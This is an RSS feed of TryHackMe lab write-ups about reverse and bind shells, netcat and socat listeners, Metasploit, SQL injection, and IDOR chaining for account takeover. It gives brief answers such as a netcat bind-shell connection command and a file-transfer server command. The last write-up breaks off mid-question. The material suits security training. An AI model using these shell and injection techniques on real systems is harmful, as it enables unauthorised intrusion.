<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Efe Kırbaş</title>
    <description>The latest articles on DEV Community by Efe Kırbaş (@efek).</description>
    <link>https://dev.to/efek</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4063515%2Fc6475038-e94d-4e95-aa93-7a4951830ed0.png</url>
      <title>DEV Community: Efe Kırbaş</title>
      <link>https://dev.to/efek</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/efek"/>
    <language>en</language>
    <item>
      <title>TryHackMe Shells &amp; Listeners Fundamentals Room Writeup</title>
      <dc:creator>Efe Kırbaş</dc:creator>
      <pubDate>Sun, 13 Sep 2026 19:46:39 +0000</pubDate>
      <link>https://dev.to/efek/tryhackme-shells-listeners-fundamentals-room-writeup-42oh</link>
      <guid>https://dev.to/efek/tryhackme-shells-listeners-fundamentals-room-writeup-42oh</guid>
      <description>&lt;p&gt;TASK 2&lt;/p&gt;

&lt;p&gt;Which type of shell connects back to a listening port on your computer, Reverse (R) or Bind (B)?&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fdqqm8o5u9ue7vqpudl2r.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fdqqm8o5u9ue7vqpudl2r.png" alt=" " width="800" height="74"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F27m972hmr8ksn9wh3w4m.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F27m972hmr8ksn9wh3w4m.png" alt=" " width="797" height="77"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Answer: R&lt;/p&gt;

&lt;p&gt;When using a bind shell, would you execute a listener on the Attacker (A) or the Target (T)?&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fnxjxzu5e6lncubjzohug.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fnxjxzu5e6lncubjzohug.png" alt=" " width="790" height="155"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Answer: T&lt;/p&gt;

&lt;p&gt;A target machine sits behind a strict firewall that blocks all inbound connections but allows outbound traffic. Which shell type would work here, Reverse (R) or Bind (B)?&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fnblfvvrfvmdq5jy2prj5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fnblfvvrfvmdq5jy2prj5.png" alt=" " width="800" height="264"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Answer: R&lt;/p&gt;

&lt;p&gt;TASK 3&lt;/p&gt;

&lt;p&gt;Which tool can allocate pseudo-terminals (PTYs) for fully interactive shell sessions?&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fidjw3bau19aq33bfbot1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fidjw3bau19aq33bfbot1.png" alt=" " width="800" height="197"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Answer: socat&lt;/p&gt;

&lt;p&gt;Which Metasploit component generates payloads in formats such as executables, scripts, and shellcode?&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fnom9k7dbdvic7xm8vbmn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fnom9k7dbdvic7xm8vbmn.png" alt=" " width="800" height="82"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Answer: msfvenom&lt;/p&gt;

&lt;p&gt;TASK 4&lt;/p&gt;

&lt;p&gt;Which option tells netcat to listen?&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F2kd8r23jjgusopvqvxzj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F2kd8r23jjgusopvqvxzj.png" alt=" " width="800" height="149"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Answer: -l &lt;/p&gt;

&lt;p&gt;How would you connect to a bind shell on the IP address: 10.10.10.11 with port 8090?&lt;/p&gt;

&lt;p&gt;An example of connecting:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fcua4ohotaxhr01t0yotx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fcua4ohotaxhr01t0yotx.png" alt=" " width="799" height="89"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Answer: nc 10.10.10.11 8090&lt;/p&gt;

&lt;p&gt;Which netcat flag skips DNS resolution and uses numeric IP addresses only?&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F2vred6w6on1smodp504b.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F2vred6w6on1smodp504b.png" alt=" " width="799" height="252"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Answer: -n &lt;/p&gt;

&lt;p&gt;Task 5&lt;/p&gt;

&lt;p&gt;How would we get socat to listen on TCP port 8080?&lt;/p&gt;

&lt;p&gt;For example:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F1w5niuy9uoppyid7o4xu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F1w5niuy9uoppyid7o4xu.png" alt=" " width="799" height="212"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Answer: TCP-L:8080&lt;/p&gt;

&lt;p&gt;When creating a socat reverse shell on a Windows target, which option must you add after the executable name for proper I/O handling?&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F4tex7l8svjxqt25jrkxw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F4tex7l8svjxqt25jrkxw.png" alt=" " width="799" height="176"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fpw21d22p1h1ywnibijy1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fpw21d22p1h1ywnibijy1.png" alt=" " width="800" height="212"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Answer: pipes&lt;/p&gt;

&lt;p&gt;TASK 6&lt;/p&gt;

&lt;p&gt;After running stty raw -echo, what command brings your backgrounded shell back to the foreground?&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fo9q6tnktkn0tdrv5098e.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fo9q6tnktkn0tdrv5098e.png" alt=" " width="800" height="167"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Answer: fg&lt;/p&gt;

&lt;p&gt;How would you change your terminal size to have 238 columns?&lt;/p&gt;

&lt;p&gt;For example:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fakw0e4ayea5p1qgahsrv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fakw0e4ayea5p1qgahsrv.png" alt=" " width="799" height="153"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Answer: stty cols 238&lt;/p&gt;

&lt;p&gt;What command would you use to set up a Python3 web server on port 80 to transfer socat to a target? (Provide the full command with sudo)&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fdsoabpletjca8c8uq4zx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fdsoabpletjca8c8uq4zx.png" alt=" " width="799" height="205"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Answer: sudo python3 -m http.server 80&lt;/p&gt;

&lt;p&gt;TASK 7&lt;/p&gt;

&lt;p&gt;Which socat parameter disables certificate verification for self-signed certificates?&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F2cky34kwa4nvh779ys0u.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F2cky34kwa4nvh779ys0u.png" alt=" " width="800" height="157"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Answer: verify=0&lt;/p&gt;

&lt;p&gt;What OpenSSL flag generates a 2048-bit RSA key pair when creating a self-signed certificate?&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F2hrumr1scrumed0va6x7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F2hrumr1scrumed0va6x7.png" alt=" " width="790" height="216"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Answer: -newkey rsa:2048&lt;/p&gt;

&lt;p&gt;Thanks for reading&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>tryhackme</category>
      <category>shell</category>
      <category>writeup</category>
    </item>
    <item>
      <title>TryHackMe Exploitation and Weaponisation Room Writeup</title>
      <dc:creator>Efe Kırbaş</dc:creator>
      <pubDate>Sun, 13 Sep 2026 17:01:02 +0000</pubDate>
      <link>https://dev.to/efek/tryhackme-exploitation-and-weaponisation-room-1500</link>
      <guid>https://dev.to/efek/tryhackme-exploitation-and-weaponisation-room-1500</guid>
      <description>&lt;p&gt;&lt;strong&gt;TASK 2&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Nmap flags a Windows 7 host with SMB on port 445, hinting at MS17-010. Which Metasploit auxiliary module would you run before loading the exploit?&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fuvjwb44w2xxo2cxn914y.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fuvjwb44w2xxo2cxn914y.png" alt=" " width="800" height="184"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Answer: auxiliary/scanner/smb/smb_ms17_010&lt;/p&gt;

&lt;p&gt;While checking the HTTP response headers during a web application penetration test, you noticed that the application does not implement the HTTP Strict-Transport-Security (HSTS) header. Which of the following actions would you perform?&lt;br&gt;
a) Attempt to demonstrate an SSL stripping attack&lt;br&gt;
b) Document it and move on&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fxon76zi99shfhubqbgc4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fxon76zi99shfhubqbgc4.png" alt=" " width="800" height="125"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Answer: b&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;TASK 3&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;You've gained command injection on an internal app running on a Linux server. What's the first command you run to prove execution without touching the disk?&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fcq1cicqc4hr45eqggz03.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fcq1cicqc4hr45eqggz03.png" alt=" " width="800" height="126"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Answer: whoami&lt;/p&gt;

&lt;p&gt;While testing a web application, you confirmed that an SQL-injection vulnerability could be exploited. What SQL query can you attempt to inject in order to check the privileges of the database user?&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F7yd37e3fq80bodkfbgri.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F7yd37e3fq80bodkfbgri.png" alt=" " width="800" height="187"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Answer: SELECT SYSTEM_USER&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;TASK 4&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;What example of a high-value action can be abused to hijack user accounts and escalate access?&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fbnzx2kht16cd4bfx5bkc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fbnzx2kht16cd4bfx5bkc.png" alt=" " width="798" height="85"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Answer: Password Reset&lt;/p&gt;

&lt;p&gt;When exploiting an IDOR vulnerability in an online learning platform, which among the following roles could be targeted in order to demonstrate the greatest impact?&lt;br&gt;
a) User&lt;br&gt;
b) System Administrator&lt;br&gt;
c) Teacher&lt;/p&gt;

&lt;p&gt;Answer: b) System Administrator&lt;/p&gt;

&lt;p&gt;Because the person with the highest authority&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;TASK 5&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;During a web application penetration test, you discovered a stored XSS that can be viewed by other users. What cookie attribute must be set to False in order to demonstrate cookie theft?&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fvz1xbo6myyrka2e0h3i3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fvz1xbo6myyrka2e0h3i3.png" alt=" " width="798" height="121"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Answer: HttpOnly&lt;/p&gt;

&lt;p&gt;Among the three options below, choose two that can be chained in order to demonstrate greater impact. Answer Format: a,b&lt;br&gt;
a) An XSS in a support chat&lt;br&gt;
b) A source-code disclosure vulnerability that exposes hashing functions&lt;br&gt;
c) An IDOR in the change-password flow that requires a hashed email address&lt;/p&gt;

&lt;p&gt;Answer: b,c&lt;/p&gt;

&lt;p&gt;Vulnerability chaining is the process of using the output from one vulnerability as a trigger to exploit another vulnerability.&lt;/p&gt;

&lt;p&gt;Here, the reason options b and c match is based on a direct cause-and-effect relationship:&lt;/p&gt;

&lt;p&gt;The constraint in option c: Even if there is an IDOR vulnerability in the password reset flow, the request requires verification of the victim’s hashed email address, so the exploit will not work on its own without this information.&lt;/p&gt;

&lt;p&gt;The key in option b: The source code disclosure reveals which algorithm and method the system uses to hash emails.&lt;/p&gt;

&lt;p&gt;Combined effect: The target user’s email is hashed using the disclosed function, and this value is then appended to the IDOR request to change the password.&lt;/p&gt;

&lt;p&gt;Thus, a “source code leak”—which on its own would be considered moderate—and an “IDOR” that is limited by parameter constraints are combined to directly result in a full account takeover.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;TASK 6&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;You need to test one request parameter in Burp Suite in order to capture a clear evidence. Which module can be used to achieve this?&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fax74e47qml7iul6u5hr7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fax74e47qml7iul6u5hr7.png" alt=" " width="800" height="125"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Answer: Repeater&lt;/p&gt;

&lt;p&gt;You confirmed an SQL-injection vulnerability and wanted to automate the exploitation without causing unintended damage to the environment. Which flags and values can you use to retrieve only one row from a table? E.g., --level=5 --risk=5&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Frk5jv66nelalhao5ksge.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Frk5jv66nelalhao5ksge.png" alt=" " width="800" height="171"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Answer: --start=1 --stop=1&lt;/p&gt;

&lt;p&gt;What Burp Suite module can generate a high volume of requests and potentially cause downtime if misused?&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fmtonark7y2gkwkwb2yvg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fmtonark7y2gkwkwb2yvg.png" alt=" " width="797" height="85"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Answer: Intruder&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Task 7&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;What is the flag that can be retrieved upon completion of the activity?&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F4n97da0bt10flzr1yzpa.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F4n97da0bt10flzr1yzpa.png" alt=" " width="800" height="596"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Frterq0ujn8n34ki1jedz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Frterq0ujn8n34ki1jedz.png" alt=" " width="800" height="581"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fm9zyhzczg6koos90448r.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fm9zyhzczg6koos90448r.png" alt=" " width="687" height="755"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F9wpjhgbq3ww5bds7uewc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F9wpjhgbq3ww5bds7uewc.png" alt=" " width="800" height="326"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Answer: THM{C0ntr0ll3d_Expl01t4t10n!}&lt;/p&gt;

&lt;p&gt;Room completed, thank you for reading.&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>tryhackme</category>
      <category>exploit</category>
      <category>writeup</category>
    </item>
    <item>
      <title>TryHackMe Metasploit: Payload Generation Room Writeup</title>
      <dc:creator>Efe Kırbaş</dc:creator>
      <pubDate>Sat, 12 Sep 2026 19:02:38 +0000</pubDate>
      <link>https://dev.to/efek/metasploit-payload-generation-room-writeup-9nh</link>
      <guid>https://dev.to/efek/metasploit-payload-generation-room-writeup-9nh</guid>
      <description>&lt;p&gt;TASK 2&lt;br&gt;
What flag sets the output format in msfvenom?&lt;/p&gt;

